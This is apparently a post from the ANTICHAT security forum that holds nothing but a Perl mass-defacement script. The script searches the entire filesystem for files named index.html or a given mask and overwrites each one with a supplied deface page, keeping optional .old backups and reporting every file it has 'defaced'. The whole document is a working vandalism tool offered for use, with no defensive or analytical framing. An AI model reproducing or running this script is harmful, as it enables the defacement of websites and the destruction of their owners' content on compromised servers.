ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#!/usr/bin/perl

exit print "Usage: $0 [deface file] [deface mask]\n" if ($ARGV[0] eq '--help');

$template=$ARGV[0] || 'deface.txt';
$ext=$ARGV[1] || 'index.html';
$backup=1;
$debug=1;
print "Searching documents... Please, wait some minutes\n" if $debug;
system("find / -name \"$ext\" > /tmp/defaces 2>/dev/null");
open(TXT,$template) || die "Cannot find deface text!\n";
@deface=<TXT>;
close(TXT);
open(MASS,"/tmp/defaces") || die "Sorry, no htmls docs found!\n";
while(<MASS>) {
chomp;
if ($backup) {
my $bname="$_".".old";
system("cp \"$_\" \"$bname\"");
}
open(DEFACED,">$_");
print DEFACED @deface;
close(DEFACED);
print "$_ defaced!\n" if $debug;
}
close(MASS);
unlink("/tmp/defaces");
print "All defaces done!\n";